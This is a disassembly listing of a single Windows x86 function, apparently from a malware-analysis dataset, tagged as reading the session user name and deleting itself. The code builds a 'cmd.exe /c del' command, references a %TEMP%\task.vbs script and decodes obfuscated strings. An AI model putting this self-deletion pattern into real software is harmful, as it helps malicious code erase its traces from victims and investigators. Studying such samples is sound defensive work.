Function at 0x46cc40
Capabilities:
Get session user name
Self delete

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x493416
mov eax, dword fs:[0]
push eax
mov eax, 0x146c
call fcn.00474750
push ebx
push esi
push edi
lea edi, [ebp - 0x1478]
mov ecx, 0x51b
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x4abc14]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push eax
push str.ami_sExi
push 0x50
lea ecx, [ebp - 0xb4]
push ecx
call fcn.0047724f
add esp, 0x10
mov dword [ebp - 0x2d0], 0x104
lea eax, [ebp - 0x2d0]
push eax
lea ecx, [ebp - 0x2c4]
push ecx
push 2
call sub.Secur32.dll_GetUserNameExW
lea ecx, [ebp - 0x2fc]
call fcn.0046af10
mov dword [ebp - 4], 0
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x2fc]
call fcn.0046b050
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 1
jne 0x46cd3e
mov eax, dword [ebp - 0x308]
push eax
push str.t90vlN1WlErg8NpkcEvidJpkft03fV3keg6gv9rh_0vi9pRlfolx_Vkmuchk5Zmhuwvk9MllakggsElgOg9jIwl0fFE
push 0x29ce
push 0x30dc
call fcn.004565f0
add esp, 0xc
push eax
call fcn.00454e30
add esp, 8
mov dword [ebp - 0x1474], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2fc]
call fcn.0046af70
mov eax, dword [ebp - 0x1474]
jmp 0x46d1a6
lea eax, [ebp - 0x2c4]
push eax
lea ecx, [ebp - 0x2fc]
call fcn.0046b570
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 1
jne 0x46cdb7
mov eax, dword [ebp - 0x308]
push eax
push 0x3d7b
push 0x15b6
push str.t90vlN1WlErg8NpkcEvidJpkft03fV3keg6gv9rh_0vi9pRlfolx_BkneVuk9klle0qx8RgkA9k8RkgOAhiZZsmu8h3ZYgjIM
push 0x2fdd
push 0x281e
call fcn.004565f0
add esp, 0x14
push eax
call fcn.00454e30
add esp, 8
mov dword [ebp - 0x1468], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2fc]
call fcn.0046af70
mov eax, dword [ebp - 0x1468]
jmp 0x46d1a6
lea ecx, [ebp - 0x2fc]
call fcn.0046b720
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 1
jne 0x46ce24
mov eax, dword [ebp - 0x308]
push eax
push 0x11a1
push str.t90vlN1WlErg8NpkcEvidJpkft03fV3keg6gv9rh_0vi9pRlfolx_BkneVuk9klle0qx8Vgl_w8jsJ81Oo8gtJgmv0nhtp2zqlrn7w
push 0x22b4
push 0x2f7b
call fcn.004565f0
add esp, 0x10
push eax
call fcn.00454e30
add esp, 8
mov dword [ebp - 0x145c], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2fc]
call fcn.0046af70
mov eax, dword [ebp - 0x145c]
jmp 0x46d1a6
lea ecx, [ebp - 0x2fc]
call fcn.0046b8e0
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 1
jne 0x46ce91
mov eax, dword [ebp - 0x308]
push eax
push 0x4efc
push str.t90vlN1WlErg8NpkcEvidJpkft03fV3keg6gv9rh_0vi9pRlfolx_BkneVuk9klle0qx8VggP0nidF2zqlrn7w
push 0x68e8
push 0xcfc
call fcn.004565f0
add esp, 0x10
push eax
call fcn.00454e30
add esp, 8
mov dword [ebp - 0x1450], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2fc]
call fcn.0046af70
mov eax, dword [ebp - 0x1450]
jmp 0x46d1a6
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
lea ecx, [ebp - 0x2fc]
call fcn.0046bbb0
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 1
jne 0x46cf01
mov eax, dword [ebp - 0x308]
push eax
push str.t90vlN1WlErg8NpkcEvidJpkft03fV3keg6gv9rh_0vi9pRlfolx_BkneVuk9klle0qx8J3ne4pgsQ_1Kw27Q
push 0x3acd
push 0x2046
call fcn.004565f0
add esp, 0xc
push eax
call fcn.00454e30
add esp, 8
mov dword [ebp - 0x1444], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2fc]
call fcn.0046af70
mov eax, dword [ebp - 0x1444]
jmp 0x46d1a6
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x2fc]
call fcn.0046c290
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 1
jne 0x46cf71
mov eax, dword [ebp - 0x308]
push eax
push str.t90vlN1WlErg8NpkcEvidJpkft03fV3keg6gv9rh_0vi9pRlfolx_Vkmuchk5Zmhuwvk9MlgOErx9N9keo7k9Mlleo6jtlrzqlrn7w
push 0x12ab
push 0x12e
call fcn.004565f0
add esp, 0xc
push eax
call fcn.00454e30
add esp, 8
mov dword [ebp - 0x1438], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2fc]
call fcn.0046af70
mov eax, dword [ebp - 0x1438]
jmp 0x46d1a6
mov eax, dword [ebp + 0xc]
push eax
push str._c_del___s_
push 0x400
lea ecx, [ebp - 0xb10]
push ecx
call fcn.0047724f
add esp, 0x10
lea eax, [ebp - 0xb10]
push eax
push str.cmd.exe
lea ecx, [ebp - 0x2fc]
call fcn.0046c290
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 1
jne 0x46d00c
mov eax, dword [ebp - 0x308]
push eax
push 0x49d8
push 0x60c8
push str.t90vlN1WlErg8NpkcEvidJpkft03fV3keg6gv9rh_0vi9pRlfolx_Vkmuchk5Zmhuwvk9MlgOErx9JgmOw6gpZkl_0niNg_1Kw27Q
push 0x307b
push 0x121c
call fcn.004565f0
add esp, 0x14
push eax
call fcn.00454e30
add esp, 8
mov dword [ebp - 0x142c], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2fc]
call fcn.0046af70
mov eax, dword [ebp - 0x142c]
jmp 0x46d1a6
push str._TEMP__task.vbs
lea ecx, [ebp - 0xb34]
call fcn.004038c0
mov byte [ebp - 4], 1
lea eax, [ebp - 0xb34]
push eax
call fcn.00469fc0
add esp, 4
lea ecx, [ebp - 0xb34]
call fcn.00403a00
push eax
push str._c_del___s_
push 0x400
lea eax, [ebp - 0x133c]
push eax
call fcn.0047724f
add esp, 0x10
lea eax, [ebp - 0x133c]
push eax
push str.cmd.exe
lea ecx, [ebp - 0x2fc]
call fcn.0046c290
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 1
jne 0x46d0e1
mov eax, dword [ebp - 0x308]
push eax
push 0x77fd
push 0x5404
push str.t90vlN1WlErg8NpkcEvidJpkft03fV3keg6gv9rh_0vi9pRlfolx_Vkmuchk5Zmhuwvk9MlgOErx9JgmOw6gpZkl_0niNg_1Kw27Q
push 0x12fc
push 0x245a
call fcn.004565f0
add esp, 0x14
push eax
call fcn.00454e30
add esp, 8
mov dword [ebp - 0x1420], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xb34]
call fcn.00403970
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2fc]
call fcn.0046af70
mov eax, dword [ebp - 0x1420]
jmp 0x46d1a6
lea ecx, [ebp - 0x2fc]
call fcn.0046bfb0
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 1
jne 0x46d155
mov eax, dword [ebp - 0x308]
push eax
push str.t90vlN1WlErg8NpkcEvidJpkft03fV3keg6gv9rh_0vi9pRlfolx_BkneVuk9klhg4gpZxnOxuk9d2n7Nuws4P
push 0x2a50
push 0x40e5
call fcn.004565f0
add esp, 0xc
push eax
call fcn.00454e30
add esp, 8
mov dword [ebp - 0x1414], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xb34]
call fcn.00403970
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2fc]
call fcn.0046af70
mov eax, dword [ebp - 0x1414]
jmp 0x46d1a6
push str.t90vlN1WlErg8NpkcEvidJpkft03fV3keg6gv9rh_0vi9pRlfolxVwlorlMUk1N0vlN0lh_wthNN2h87i9p81PsrgN92gOw8gtIr_g
push 0x5ae8
push 0xf97
call fcn.004565f0
add esp, 0xc
push eax
call fcn.00454e30
add esp, 4
mov dword [ebp - 0x1408], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xb34]
call fcn.00403970
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2fc]
call fcn.0046af70
mov eax, dword [ebp - 0x1408]
push edx
mov ecx, ebp
push eax
lea edx, [0x46d1e0]
call fcn.004744f5
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004744c3
add esp, 0x1478
cmp ebp, esp
call fcn.004744d2
mov esp, ebp
pop ebp
ret